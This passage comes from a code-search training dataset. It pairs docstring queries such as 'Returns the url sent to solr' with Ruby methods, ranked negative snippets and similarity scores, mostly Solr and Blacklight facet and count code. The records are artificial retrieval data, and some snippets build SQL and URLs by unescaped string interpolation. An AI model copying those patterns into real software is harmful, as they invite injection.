\"memory\", :facets => {:query => [\"price:[* TO 200.00]\",\n \"price:[200.00 TO 500.00]\",\n \"price:[500.00 TO *]\"]},\n :field_types => {:price => :range_float}\n assert_equal 4, records[:docs].size\n assert_equal({\"facet_queries\" => {\"price_rf:[* TO 200.00]\"=>2,\n \"price_rf:[500.00 TO *]\"=>1,\n \"price_rf:[200.00 TO 500.00]\"=>1}, \n \"facet_fields\" => {}}, records[:facets])\n end", "def facets(facet_counts, stats)\n return [] unless facet_counts['facet_fields']\n display_label_map = Hyacinth::DigitalObject::Facets.facet_display_label_map\n facet_page_size = Hyacinth::Config.digital_object_search_adapter.ui_config.facet_page_size\n\n facet_counts['facet_fields'].map do |facet_field, value_counts|\n has_more = !value_counts[2 * facet_page_size].nil?\n {\n field_name: facet_field,\n display_label: display_label_map[facet_field] || facet_field.split('_')[0...-1].map(&:titlecase).join(' '),\n values: facet_values_from_counts(value_counts, facet_page_size),\n total_count: stats.dig('stats_fields', facet_field, 'countDistinct').to_i,\n has_more: has_more\n }\n end\n end", "def subfacet(key, req, rsp)\n case req[:type]\n when 'query'\n count = rsp[:count]\n return Blacklight::Solr::Response::Facets::FacetItem.new(value: key, hits: count, label: key, subs: subs(req, rsp, {count: count}))\n when 'terms'\n # most info/stats/facets are at the level of the individual term\n # here we ignore top-level \"count\", but TODO: perhaps in some contexts it could be relevant?\n # count = rsp['count']\n field_name = req[:field]\n parent_fq = nil #nocommit: should populate parent_fq to be meaningful?\n return rsp['buckets'].map do |bucket|\n val = bucket[:val]\n count = bucket[:count]\n Blacklight::Solr::Response::Facets::FacetItem.new(\n value: val,\n hits: count,\n field: field_name,\n fq: parent_fq,\n subs: subs(req, bucket, {val: val, count: count})\n )\n end\n else\n raise StandardError, \"unsupported facet type: #{req[:type]}\" # range, heatmap\n end\n end", "def facet_json\n @facet_json ||= (self['facets'] || {}).select { |k, v| k != 'count' }\n end", "def facets\n self.facet_list.any? ? SearchFacet.where(:identifier.in => self.facet_list) : SearchFacet.visible\n end", "def count\n if paginated?\n to_hash['results'].nil? ? 0 : to_hash['results'].size\n else\n to_hash['count']\n end\n end", "def facet\n # raise\n @facet = blacklight_config.facet_fields[params[:id]]\n return render json: nil, status: :bad_request unless @facet\n\n # Allow callers to pass in extra params, that won't be sanitized-out by\n # the processing that 'params' undergoes\n extra_params = params[:extra_params] || {}\n\n @response = get_facet_field_response(@facet.key, params, extra_params)\n @display_facet = @response.aggregations[@facet.key]\n\n @pagination = facet_paginator(@facet, @display_facet)\n\n # 2/23/2017 - turned off after two weeks of data collection (NEXT-908)\n # # 2/7/2017 - get some info on see-more sizes, hopefully to be\n # # turned off pretty soon. Hardcode test to current limit, 500)\n # limit = (@display_facet.items.size == 501) ? ' - HIT LIMIT' : ''\n # Rails.logger.warn \"FACET-SEE-MORE name: #{@display_facet.name} count: #{@display_facet.items.size}#{limit}\"\n\n respond_to do |format|\n # Draw the facet selector for users who have javascript disabled:\n format.html\n format.json { render json: render_facet_list_as_json }\n\n # Draw the partial for the \"more\" facet modal window:\n format.js { render layout: false }\n end\n end", "def facet\n # raise\n @facet = blacklight_config.facet_fields[params[:id]]\n return render json: nil, status: :bad_request unless @facet\n\n # Allow callers to pass in extra params, that won't be sanitized-out by\n # the processing that 'params' undergoes\n extra_params = params[:extra_params] || {}\n\n @response = get_facet_field_response(@facet.key, params, extra_params)\n @display_facet = @response.aggregations[@facet.key]\n\n @pagination = facet_paginator(@facet, @display_facet)\n\n # 2/23/2017 - turned off after two weeks of data collection (NEXT-908)\n # # 2/7/2017 - get some info on see-more sizes, hopefully to be\n # # turned off pretty soon. Hardcode test to current limit, 500)\n # limit = (@display_facet.items.size == 501) ? ' - HIT LIMIT' : ''\n # Rails.logger.warn \"FACET-SEE-MORE name: #{@display_facet.name} count: #{@display_facet.items.size}#{limit}\"\n\n respond_to do |format|\n # Draw the facet selector for users who have javascript disabled:\n format.html { render layout: false }\n format.json { render json: render_facet_list_as_json }\n\n # Draw the partial for the \"more\" facet modal window:\n format.js { render layout: false }\n end\n end", "def results\n facet_results = blacklight_config.repository.search(query)\n facet_results.facet_fields[depositor_field].each_slice(2)\n end", "def facet\n @pagination = get_facet_pagination(params[:id])\n end", "def facet\n @pagination = get_facet_pagination\n end", "def count index:, query_string: nil, query: nil, sort: nil\n if query_string\n log.debug \"Counting query on #{index}, being #{query_string}\"\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/_count?q=#{query_string}&sort=#{sort}\")\n req = Net::HTTP::Get.new(uri)\n else\n log.debug \"Counting query on #{index}, with body #{query}\"\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_doc/_count\")\n req = Net::HTTP::Get.new(uri)\n req.body = query.to_json\n end\n\n run(uri, req)\n end", "def total_count\n @total_count ||= self.query.count\n end", "def count\n @collection.count(Scope.new(@collection, @selector, @opts))\n end", "def facet\n @facet = blacklight_config.facet_fields[params[:id]]\n raise ActionController::RoutingError, 'Not Found' unless @facet\n\n @response = search_service.facet_field_response(@facet.key)\n @display_facet = @response.aggregations[@facet.field]\n\n @presenter = @facet.presenter.new(@facet, @display_facet, view_context)\n @pagination = @presenter.paginator\n respond_to do |format|\n format.html do\n # Draw the partial for the \"more\" facet modal window:\n return render layout: false if request.xhr?\n # Otherwise draw the facet selector for users who have javascript disabled.\n end\n format.json\n end\n end", "def facet_by_field_name(name)\n @facets_by_field_name ||= {}\n @facets_by_field_name[name] ||= (\n facets.detect{|facet|facet.name.to_s == name.to_s}\n )\n end", "def count_query\n v = Visit.table_name\n Visit.select(\n \"county_id, #{v}.status, count(#{v}.id) as count\"\n ).joins(:graveyard).group(\"county_id, #{v}.status\").where(\n user_id: user.id\n )\n end", "def format_query_from_facets(facets = [])\n query = {}.with_indifferent_access\n facets.each do |facet|\n safe_facet = facet.with_indifferent_access\n hca_term = FacetNameConverter.convert_schema_column(:alexandria, :azul, safe_facet[:id])\n next if hca_term.nil?\n\n scp_facet = facet[:db_facet]\n if scp_facet.is_numeric?\n min = safe_facet.dig(:filters, :min)\n max = safe_facet.dig(:filters, :max)\n unit = safe_facet.dig(:filters, :unit)\n min_seconds = scp_facet.calculate_time_in_seconds(base_value: min, unit_label: unit).to_i\n max_seconds = scp_facet.calculate_time_in_seconds(base_value: max, unit_label: unit).to_i\n # since organismAge only works with discrete value, we must convert this to a range query using 'within'\n # within query must have nested array, where min/max values are represented as arrays within query\n # multiple min/max ranges are processed with AND logic\n converted_term = hca_term == 'organismAge' ? 'organismAgeRange' : hca_term\n facet_query = { converted_term => { within: [[min_seconds, max_seconds]] } }\n else\n filter_values = safe_facet[:filters].map { |filter| filter[:name] }\n facet_query = { hca_term => { is: filter_values } }\n end\n if query.key?(hca_term)\n existing_filters = query.dig(hca_term, :is)\n new_query = { hca_term => { is: (existing_filters + facet_query.dig(hca_term, :is)).uniq } }\n query.merge! new_query\n else\n query.merge! facet_query\n end\n end\n query\n end", "def _filter_counts\n js_emit = ''\n @filters.each do |filter|\n filter[1][:subfilters].to_a.each do |sf|\n sf[1][:options].to_a.each do |sfop|\n f, s, i, c, total_records = filter_prepare(filter[0], {sf[0] => {sfop[0] => '1'}})\n js_emit += \"jQuery('##{@jqgrid_id}_#{filter[0]}_#{sf[0]}_#{sfop[0]}_count').html(#{total_records});\"\n end\n end\n end\n render :js => js_emit\n end", "def facets\n facet_name = request.params[\"f_name\"]\n if facet_name == nil\n render :json => nil\n return\n end\n @presenter = execute_search(-1)\n facet_data = @presenter.facets.find {|f| f.name == facet_name }\n render :json => facet_data.values\n rescue => ex\n backtrace = ex.backtrace.join(\"\\r\\n\")\n Rails.logger.error(\"Could not render facets as JSON. Exception: #{ex} \\r\\n #{backtrace}\")\n render :json => nil, status: 500\n end", "def facet_field_values(field)\n facet_field_values ||= {}\n facet_field_values[field.to_s] ||= begin\n a = []\n facet_field(field).each_with_index do |val_or_count, i|\n a << val_or_count if i % 2 == 0 && facet_field(field)[i+1] > 0\n end\n a\n end\n end", "def count\n sql = order_by(nil).to_sql(pagination: false)\n\n @connection.ask(\"SELECT COUNT(*) FROM (#{sql}) _total_count\", *args)\n end", "def get_counts_for_all_entities\n @tracker.counts\n end", "def count_posts_by_tag(name)\n @count_posts_by_tag ||= all_tags.inject({}) do |count, tag|\n count[tag] = (all_posts + all_archived_posts).count{ |post| post.tags.include? tag }\n count\n end\n @count_posts_by_tag[name]\n end", "def facets\n @solr_data[:facets]\n end", "def num_found\n\n if @solr_response[\"response\"] != nil\n # Normal Solr query\n return @solr_response[\"response\"][\"numFound\"]\n end\n\n if @solr_response[\"grouped\"] != nil\n # Grouped Solr query.\n total = 0\n @solr_response[\"grouped\"].keys.each do |key|\n total += @solr_response[\"grouped\"][key][\"matches\"]\n end\n return total\n end\n\n return 0\n rescue\n 0\n end", "def count(query)\n raise \"The class #{self.class.name} must implement the 'count' method.\"\n end", "def date_facet_for(facet, params)\n data = @results.response.facets[facet[:name]]\n\n return if data.length == 0\n\n if data['terms']\n data = data['terms'].sort { |a, b| a['term'] <=> b['term'] }\n else\n data = data['entries'].sort { |a, b| a['time'] <=> b['time'] }\n end\n\n width = facet[:width] || '7em'\n\n inputs = %w(min max).map do |l|\n name = l + facet[:name]\n htmlclass = ''\n htmlclass = 'pseudo-disabled' unless params[:q][name].present?\n text = text_field_tag(\"q[#{name}]\", params[:q][name], style: \"width:#{width}\" , class: htmlclass)\n\n content_tag(:span,\n content_tag(:span,\n text,\n class: 'controls'), class: 'control-group')\n end.join('-')\n\n tag = facet[:name]\n js_data = data.to_json.html_safe\n granularity = 1\n interval = facet[:interval] || 0\n\n func_body = \"facetSlider(\\\"#{tag}\\\",#{js_data},#{granularity}, #{interval})\"\n\n js_string = \"$(function() { #{func_body} })\"\n\n (inputs +\n tag(:br) +\n content_tag(:div, nil, id: \"#{facet[:name]}-histogram\", class: 'sparkline') +\n content_tag(:div, nil, id: \"slider-#{facet[:name]}\") +\n content_tag(:script, js_string.html_safe\n )\n ).html_safe\n end", "def count(name, tag)\n get_items_count(name, tag, @klass)\n end", "def count_search(template, *vars)\n template = template.is_a?(Elastics::Template) ? template : templates[template]\n template.render Vars.new({:params => {:size => 0}, :raw_result => true}, *vars)\n end", "def result_hit_mapping(result_facets)\n @mapping ||= result_facets.each_with_object(Hash.new(0)) do |_result, hash|\n _term = _result['term']\n _term = _term.to_s.downcase\n hash[_term] += _result['count']\n end\n end", "def count\n raw_history['num_results']\n end", "def count(layer_id = 0, options = {})\n return nil unless metadata['capabilities'] =~ /Query/\n # Current Version is not returned at lower than 10.1\n if !metadata['currentVersion'].nil?\n query(layer_id, options.merge(returnCountOnly: true))\n else\n # Neither returnCountOnly nor currentVersion are supported for\n # layers @ lower than 10.0 SP1\n # http://resources.arcgis.com/en/help/rest/apiref/\n # So request all the object ids and count them up\n response = query(layer_id, options.merge(where: '1=1',\n returnIdsOnly: true))\n { 'count' => response['objectIds'].length }\n end\n end", "def t_counts (conn, log, t)\n log.d(\"Checking counts.\");\n q = \"SELECT COUNT(*) AS c FROM #{t}\";\n log.d(q);\n conn.query(q) do |r|\n log.d(r[:c]);\n end\nend", "def get_token_counts( token, pool_name )\n return token_counts( token, pool_name )\n end", "def field_count fieldname\n case fieldname.downcase\n when /_tags$/\n tagtype = fieldname.sub /_tags$/, ''\n tagtype = ['Culinary Term', 'Untyped'] if tagtype == 'Other'\n visible_tags(:tagtype => tagtype).count\n when 'list', 'lists'\n ListServices.associated_lists(object).count # ListServices.find_by_listee(object).count\n end\n end", "def api_count(args)\n query_str = args[:query]\n object_name = args[:entity].pluralize\n my_response = HTTParty.get(\"https://api.rechargeapps.com/#{object_name}/count?#{query_str}\",\n headers: HEADER)\n my_count = my_response['count'].to_i\n Resque.logger.info \"#{my_count} #{object_name}'s on Recharge API\"\n Resque.logger.info my_response\n my_count\n end", "def get_items_count(name, tag, container)\n eval(SELECTOR_MAPPING[container][name][tag][ELEMENT]).count.to_i\n end", "def facets\n @solr_data[:facets]\n end", "def groups_found\n if @solr_response[\"grouped\"] != nil && @params.group_count != nil\n return @solr_response[\"facets\"][@params.group_count] || 0\n end\n return 0\n rescue\n 0\n end", "def count\n if @opts[:sql] || @opts[:group]\n from_self.count\n else\n single_value(STOCK_COUNT_OPTS).to_i\n end\n end", "def counts(options = {})\n find(:all, options_for_counts(options))\n end", "def count(what, where, options={})\n opts = @@default_options.merge(options)\n opts[:limit] = 1\n uri = assemble_uri(what, where, opts)\n begin\n doc = Hpricot(Net::HTTP.get(URI(URI.escape(uri))))\n total_results = doc.at('totalresults').inner_html.to_i\n rescue\n total_results = 0\n end\n total_results\n end", "def get_facet_pagination(facet_field, query_type=nil)\n query_type ||= Blacklight.config[:default_qt]\n mapper = RSolr::Ext::Request::Standard.new\n limit = (params[:limit] || 6)\n solr_params = mapper.map({\n :qt => query_type,\n :q => params[:q],\n :phrase_filters => params[:f],\n :facet => true,\n 'facet.offset' => params[:offset],\n 'facet.limit' => limit\n })\n raw_response = Blacklight.solr.select(solr_params)\n response = RSolr::Ext::Response::Standard.new(raw_response)\n Blacklight::FacetPagination.new(response.facets.first.items, params[:offset], limit)\n end", "def count(where_pattern)\n client.query(\"#{prefixes} SELECT (COUNT(distinct(?resource)) as ?count) FROM <#{graph}> WHERE { #{where_pattern} }\").first[\"count\"].value.to_i\n end", "def facets\n @facets ||= search.facets\n end", "def facet_field_aggregations\n list_as_hash(facet_fields).each_with_object({}) do |(facet_field_name, values), hash|\n items = values.map do |value, hits|\n i = FacetItem.new(value: value, hits: hits)\n\n # solr facet.missing serialization\n if value.nil?\n i.label = I18n.t(:\"blacklight.search.fields.facet.missing.#{facet_field_name}\", default: [:\"blacklight.search.facets.missing\"])\n i.fq = \"-#{facet_field_name}:[* TO *]\"\n end\n\n i\n end\n\n options = facet_field_aggregation_options(facet_field_name)\n hash[facet_field_name] = FacetField.new(facet_field_name,\n items,\n options)\n\n # alias all the possible blacklight config names..\n blacklight_config.facet_fields.select { |k,v| v.field == facet_field_name }.each do |key,_|\n hash[key] = hash[facet_field_name]\n end if blacklight_config and !blacklight_config.facet_fields[facet_field_name]\n end\n end", "def count\n dataset.client.count(\n index: dataset.index,\n body: dataset.body\n )[\"count\"]\n end", "def results\n responses\n .includes(answer_choices)\n .group(:answer)\n .count\n end", "def count(from, count)\n from_query(raw_count(from, count))\n end", "def tag_counts(options = {})\n # options.assert_valid_keys :start_at, :end_at, :conditions, :at_least, :at_most, :order, :limit\n # \n # scope = scope(:find)\n # start_at = sanitize_sql(['taggings.created_at >= ?', options[:start_at]]) if options[:start_at]\n # end_at = sanitize_sql(['taggings.created_at <= ?', options[:end_at]]) if options[:end_at]\n # \n # conditions = [\n # \"taggings.taggable_type = '#{name}'\",\n # options[:conditions],\n # scope && scope[:conditions],\n # start_at,\n # end_at\n # ]\n # conditions = conditions.compact.join(' and ')\n # \n # at_least = sanitize_sql(['count >= ?', options[:at_least]]) if options[:at_least]\n # at_most = sanitize_sql(['count <= ?', options[:at_most]]) if options[:at_most]\n # having = [at_least, at_most].compact.join(' and ')\n # group_by = 'tags.id, tags.name having count(*) > 0'\n # group_by << \" and #{having}\" unless having.blank?\n # \n # Tag.find(:all,\n # :select => 'tags.id, tags.name, COUNT(*) AS count', \n # :joins => \"LEFT OUTER JOIN taggings ON tags.id = taggings.tag_id LEFT OUTER JOIN #{table_name} ON #{table_name}.#{primary_key} = taggings.taggable_id\",\n # :conditions => conditions,\n # :group => group_by,\n # :order => options[:order],\n # :limit => options[:limit]\n # )\n end", "def count\n Integer(parsed_body['meta']['total_results'])\n end" ]
[ "0.69817835", "0.69817835", "0.68778104", "0.66933393", "0.6689976", "0.65545374", "0.6524657", "0.63777614", "0.63579404", "0.63351923", "0.6282268", "0.62799156", "0.62645364", "0.621667", "0.61970013", "0.6186021", "0.6163584", "0.6136508", "0.60974234", "0.60519683", "0.6041239", "0.6041239", "0.60281", "0.59988517", "0.59419304", "0.59338933", "0.58386415", "0.5807744", "0.5807433", "0.57970643", "0.5791774", "0.57834053", "0.57259804", "0.57108957", "0.5670746", "0.5669965", "0.56302416", "0.5622276", "0.55951166", "0.5577556", "0.55478454", "0.551811", "0.5495018", "0.54812586", "0.54734325", "0.54703444", "0.5453989", "0.54402333", "0.5432047", "0.5427252", "0.54094446", "0.54018897", "0.5399125", "0.5387962", "0.538162", "0.5374829", "0.5372466", "0.53714424", "0.53539896", "0.5349858", "0.5330804", "0.531548", "0.5302541", "0.52882934", "0.5283594", "0.5277802", "0.52756107", "0.52747357", "0.5266344", "0.5258236", "0.5253852", "0.5253085", "0.52487934", "0.52415717", "0.5227424", "0.52211463", "0.5220084", "0.5213368", "0.52120906", "0.5206435", "0.52047575", "0.52008325", "0.5197982", "0.5188839", "0.5187786", "0.51803094", "0.51778966", "0.5155621", "0.51505667", "0.5147935", "0.5145251", "0.51439667", "0.51417404", "0.5137189", "0.5131248", "0.51303", "0.5121829", "0.51199144", "0.5104307", "0.51023626" ]
0.8048948
0
Returns the url sent to solr
def request_url query_builder.request_string end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def solr_url\n @solr_url ||= endpoint_url.gsub(/\\/select$/, '')\n end", "def url\n \"http://127.0.0.1:#{port}/solr/\"\n end", "def solr_url(interactive = false)\n #proto = 'http'\n #host = 'junco.lib.virginia.edu'\n #port = '8080'\n #path = [\"#{proto}://#{host}:#{port}\"]\n #path << 'solr'\n #path << '#' if interactive\n #path << 'test_core'\n #path.join('/')\n return ENV['SOLR_URL'] if interactive == false\n return ENV['SOLR_URL'].gsub( \"/solr/\", \"/solr/#/\" )\n end", "def solr_url\n @solr_url ||= @configurations[:solr_url]\n end", "def solr_url\n if ENV['SOLR_URL'] || ENV['WEBSOLR_URL']\n URI.parse(ENV['SOLR_URL'] || ENV['WEBSOLR_URL'])\n end\n end", "def solr_url(solr_config)\n return solr_config[:url] if solr_config.key?(:url)\n return solr_config['url'] if solr_config.key?('url')\n if @index_full_text == true && solr_config.key?(:fulltext) && solr_config[:fulltext].key?('url')\n solr_config[:fulltext]['url']\n elsif solr_config.key?(:default) && solr_config[:default].key?('url')\n solr_config[:default]['url']\n else\n raise URI::InvalidURIError\n end\n end", "def core_url\n @blacklight_context.default_index.connection.uri.to_s.gsub(%r{^.*\\/solr}, '/solr')\n end", "def solr_document_url(solr_document, options = {})\n search_state.url_for_document(solr_document, options)\n end", "def url\n endpoint+'?'+query_string\n end", "def solr_root\n url = URI.parse(search_engine_url)\n host = url.scheme + '://' + url.host\n if url.port\n host += ':' + url.port.to_s\n end\n host\n end", "def determine_solr_update_url\n if settings['solr.update_url']\n check_solr_update_url(settings['solr.update_url'])\n else\n derive_solr_update_url_from_solr_url(settings['solr.url'])\n end\n end", "def url\n @parser.request_url\n end", "def geturl() \n\t\treturn self.response.geturl()\n end", "def url\n @url\n end", "def solr_url=(v)\n @solr_url = v\n writer_settings[\"solr.url\"] = v if writer_settings\n end", "def url\n end", "def url\n @url\n end", "def url\n @url\n end", "def url\n uri.to_s\n end", "def getURL\r\n\t\t\t\t\treturn @url\r\n\t\t\t\tend", "def getURL\r\n\t\t\t\t\treturn @url\r\n\t\t\t\tend", "def getURL\r\n\t\t\t\t\treturn @url\r\n\t\t\t\tend", "def getURL\r\n\t\t\t\t\treturn @url\r\n\t\t\t\tend", "def getURL\r\n\t\t\t\t\treturn @url\r\n\t\t\t\tend", "def url\n @url.to_s\n end", "def url\n uri.to_s\n end", "def url\n end", "def url\n connection.build_url(url_chunk, params).to_s\n end", "def url\n URL_MAPPING[@docid]\n end", "def url\n \t@url.to_s\n end", "def url\n uri\n end", "def url\n uri\n end", "def url\n @doc.url\n end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def url; end", "def get_url\n @url\n end", "def url\n ''\n end", "def url\n @url ||= params['url']\n end", "def conceptwiki_ep_search\n\t\tOPS_API_FREETEXT_SEARCH_URL\n\tend", "def show_solr_document_url doc, options\n if options[:controller]\n case options[:controller]\n when 'collections'\n collection_url doc\n when 'institutions'\n institution_url doc\n end\n else\n solr_document_url doc, options\n end\n\n end", "def url\n ::URI.join(\"#{service.service_url}/\", ::URI.escape(url_chunk)).to_s\n end", "def show_solr_document_url(doc, options)\n if options[:controller]\n case options[:controller]\n when 'collections'\n collection_url doc\n when 'institutions'\n institution_url doc\n end\n else\n solr_document_url doc, options\n end\n end", "def solr_document_path(solr_document)\n if controller.is_a?(SitesController) and !solr_document.site_result?\n # TODO: refactor after local site searches are implemented\n url_for(params.merge(action: 'show', id: solr_document, controller: 'catalog', slug: nil))\n else\n url_for(params.merge(action: 'show', id: solr_document))\n end\n end", "def request_uri; end", "def to_s; @url; end", "def url_str\n SiteProcessor.new(self).url_str\n end", "def suggest_handler_path\n @autocomplete_config[\"solr_endpoint\"]\n end", "def url\n # URL(@list.url).join(attributes[\"ServerUrl\"]).to_s\n attributes[\"ServerUrl\"]\n end", "def url\n @url = \"#{@http_mode}://#{self.config.servers[0]}\"\n @url << \"/#{self.config.context}\" if(!self.config.context.empty?)\n #self.config.log.debug_msg(\"Request base URL: #{@url}\")\n @url\n end", "def get_url\n URI.parse(\"#{@server}#{URL}\")\n end", "def onliner_url\n @url ||= (CONSTANT_URL + @options.to_query)\n end", "def get_url\n \"http://#{self.domain}/#{self.path}#{self.params.it_keys_to_get_param}\"\n end", "def api_url\n @api_url ||= URI.parse(\"#{super}?#{URI.encode_www_form(query_params)}\")\n end", "def url\n \"#{GOOGLE_SEARCH_URL}/cse?#{@custom_params.merge(DEFAULT_PARAMS).merge(:q => query, :cx => @search_engine_id, :sort => @sort).delete_if{|k,v| v.nil?}.to_query}\" \n end", "def server_url\n @uri\n end", "def path\n unless defined?(@path)\n @path = solr_url.path if solr_url\n @path ||= user_configuration_from_key('solr', 'path')\n @path ||= default_path\n end\n @path\n end", "def url\n URI.parse(endpoint).join(path.to_s).to_s\n end", "def website_url; website end", "def solr(url, handler, params={})\n connection, solr_url = connection(url)\n req_url = solr_url.path + '/select?' + hash_to_query_string(params.merge(:qt => handler))\n # puts \"*** requesting to Solr: #{req_url}\"\n connection.get(req_url)\nend", "def url\n response[\"url\"]\n end", "def url(params)\n \"%s%s\" % [config['endpoint'], query_string(params)]\n end", "def uri_host; end", "def request_uri\n return nil if absolute? && scheme !~ /^https?$/\n res = path.to_s.empty? ? \"/\" : path\n res += \"?#{self.query}\" if self.query\n return res\n end", "def url\n unless new_record?\n Engine.routes.url_helpers.quickie_url(self, :host => Kublog.default_url_options[:host])\n end\n end", "def request_uri\n calculate_uri(@http_request.url)\n end", "def solr\n @solr ||= RSolr.connect(url: solr_url)\n end", "def server_url\n url\n end", "def resolved_uri; end", "def url\n Config.site.url.chomp('/') + self.path\n end", "def original_url\n url\n end", "def rest_url\n # Transifex API doc says always use a trailing slash even if the last element is a slug\n build_nodes_url.to_s + '/'\n end", "def result_url\n @result\n end", "def original_url; end", "def base_url\n GlobalConstant::Base.aml_config[:search][:base_url]\n end", "def url\n @url ||= args.dig(:url)\n end", "def url\n options[:url]\n end", "def partner_ref_url(resource)\n uri = URI.parse(root_url)\n uri.query = URI.encode_www_form(partner: resource.name)\n uri.to_s\n end", "def url\n raise NotImplementedError, 'this should be overridden by subclass'\n end", "def url\n Addressable::URI.new :scheme => 'http',\n :host => endpoint.host,\n :path => '/onca/xml',\n :query_values => parameters\n end", "def url\n if super=~/ticketmaster.com/\n return \"http://ticketsus.at/tourfilter?CTY=37&DURL=#{super}\"\n else\n return super\n end\n end", "def base_url\n 'http://ow.ly/api/1.1/url/shorten'\n end", "def uri; end", "def uri; end" ]
[ "0.82492685", "0.7936817", "0.78816384", "0.7741377", "0.76472944", "0.7580428", "0.7425585", "0.7327176", "0.7187468", "0.71568745", "0.707513", "0.70441234", "0.70215863", "0.69254845", "0.691789", "0.69047755", "0.6898207", "0.6898207", "0.6848824", "0.6806426", "0.6806426", "0.6806426", "0.6806426", "0.6806426", "0.6778602", "0.6735713", "0.6727065", "0.671132", "0.6691703", "0.66804487", "0.6674157", "0.6674157", "0.6669522", "0.66553265", "0.66553265", "0.66553265", "0.66553265", "0.66553265", "0.66553265", "0.66553265", "0.66553265", "0.66553265", "0.66553265", "0.66553265", "0.66553265", "0.66553265", "0.66553265", "0.66553265", "0.66553265", "0.66553265", "0.66553265", "0.66553265", "0.6653452", "0.6644735", "0.6630831", "0.6620832", "0.66154975", "0.6600429", "0.65954286", "0.65578485", "0.65539634", "0.6507534", "0.6505637", "0.6489688", "0.6489646", "0.64893806", "0.6488192", "0.6487759", "0.6446248", "0.64336026", "0.63868594", "0.6379496", "0.63659483", "0.6364752", "0.6358683", "0.6333448", "0.6333069", "0.63309336", "0.6317007", "0.630222", "0.62948745", "0.62935555", "0.6291902", "0.6289547", "0.6285272", "0.6284415", "0.6284403", "0.6280868", "0.628015", "0.6273873", "0.6269528", "0.6264151", "0.62594503", "0.6254894", "0.62456596", "0.6245309", "0.623115", "0.6230933", "0.62199455", "0.62199455" ]
0.67144024
27
and the same integer values in the same exact order
def array_equals(array1, array2) and_array = array1 && array2 if and_array == array1 && and_array == array2 return true else return false end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def _reduce_17(val, _values)\n AST::IntegerEqual.new val.first, val.last \nend", "def equal_to_numbers(field_values = {})\n fields = {}\n \n field_values.each_pair do |field_name, v|\n bits = self.bits_for(field_name)\n fields[bits] = v if bits.length > 0\n end\n \n all_num = 0\n none_num = 0\n fields.each_pair { |field_bits, val|\n field_bits.each_with_index do |bit, i|\n if @options[:bool_caster].call(val[i])\n all_num |= (1 << bit)\n else\n none_num |= (1 << bit)\n end\n end\n }\n \n [all_num, none_num]\n end", "def unique(integers)\n new_int = []\n \n \n integers.each do |val1|\n integers.each do |val2|\n if (val1 != val2 && (not (new_int.include?(val1))))\n new_int << val1\n end\n end\n \n end\n\n return new_int\nend", "def equal_to(field_values = {})\n all_num, none_num = self.equal_to_numbers(field_values)\n \n [].tap do |list|\n self.each_value { |num| list << num if (num & all_num) == all_num and (num & none_num) == 0 }\n end\n end", "def unite(arr1, arr2, *arr3)\n unique_values = arr1\n\n arr2.select do |number|\n next if (unique_values.include?(number))\n unique_values << number\n end\n\n arr3.select do |number|\n number.select do |value|\n next if (unique_values.include?(value))\n unique_values << value\n end\n end\n unique_values\nend", "def order\n sorted = self.sort\n hash = Hash.new {|h,k| h[k] = [] }\n self.each_with_index do |sortd,i|\n hash[sortd] << i\n end\n ord = sorted.map do |val|\n hash[val].shift\n end\n Runarray::NArray.new('int').replace(ord)\n end", "def values\n @values.values.map(&:to_i).uniq.sort\n end", "def stones(n, a, b)\n ar=[0]\n (n-1).times do |val|\n tmp=[]\n ar.each do |v|\n tmp << v+a if !tmp.include?(v+a)\n tmp << v+b if !tmp.include?(v+b)\n end\n ar=tmp\n end\n ar.sort\nend", "def ordered_values; end", "def common_values(array)\n not_common = []\n not_common += self - array\n not_common += array - self\n (self + array - not_common).uniq\n end", "def unique(integers)\n integers.to_set.to_a\nend", "def uniq_ints()\n []\n end", "def equal(arr)\n size = arr.size\n hash = Hash.new{|h,k| h[k] = []}\n (0...size).each do |i|\n (i + 1...size - 1).each do |j|\n sum = arr[i] + arr[j]\n if hash.has_key?(sum)\n values = hash[sum]\n values << i\n values << j\n return values\n else\n hash[sum] = [i, j]\n end\n end\n end\nend", "def find_unique_integer(id_array)\n unique_id = 0 \n id_array.each do |id|\n unique_id ^= id\n end\n\n return unique_id\nend", "def pairs()\n g1 = generator(512, 16807) # 65 \n g2 = generator(191, 48271) # 191\n \n total = 0\n 40e6.to_i.times do \n v1 = g1.next.to_s(2).rjust(16,'0')\n v2 = g2.next.to_s(2).rjust(16,'0')\n \n total += 1 if v1[-16,16] == v2[-16,16]\n end\n \n total\nend", "def uniq_integer(input_array)\n unique = 0\n input_array.each do |num|\n unique = unique ^ num\n end\n\n unique\nend", "def create_int_array\n [first.time_to_int, last.time_to_int]\n end", "def test_merge_abutting_2\n x = IntegerRange.new(1, 4)\n y = IntegerRange.new(5, 10)\n\n assert_equal(y.mergeable?(x), true)\n y.merge(x)\n\n assert_equal(y.bottom, 1)\n assert_equal(y.top, 10)\n assert_equal(y.to_a, (1..10).to_a)\n\n a = each_to_a(y)\n\n assert_equal(a, (1..10).to_a)\n end", "def find_unique(array)\n unique_id = 0\n\n array.each do |num|\n unique_id ^= num\n end\n\n unique_id\nend", "def single_values\n repeats.select { |value, repeats| repeats.count == 1 }.map(&:first).sort.reverse\n end", "def test_identical\n x = IntegerRange.new(1, 5)\n y = IntegerRange.new(1, 5)\n\n assert_equal(x.mergeable?(y), true)\n assert_equal(y.mergeable?(x), true)\n end", "def add_ins(obj)\n self.first.value = self.first.value + obj.first.value\n obj.type = 'int'\n self.type = 'int'\n end", "def unique(integers)\n\n\t@arrayb4 = integers.to_a\n\t@arrayafter = []\n\n\t@arrayb4.map { |x|\n\t\tif @arrayafter.include?(x) == false\n\t\t\t@arrayafter << x\n\t\tend\n\t}\n\n\treturn @arrayafter\n\nend", "def beautifulPairs(a1, a2)\n h1 = {}\n\n a1.each do |a|\n h1[a] ? h1[a] += 1 : h1[a] = 1 \n end\n\n count = 0\n a2.each do |b|\n if h1[b] && h1[b] > 0\n h1[b] -= 1\n count += 1\n end\n end\n\n count == a1.size ? count - 1 : count + 1\nend", "def non_duplicated_values(values)\n hash = Hash.new(0)\n output = []\n values.each { |element| hash[element] += 1 }\n hash.each { |k, v| output << k if v == 1 }\n output\nend", "def same_ids?(item_ids)\n 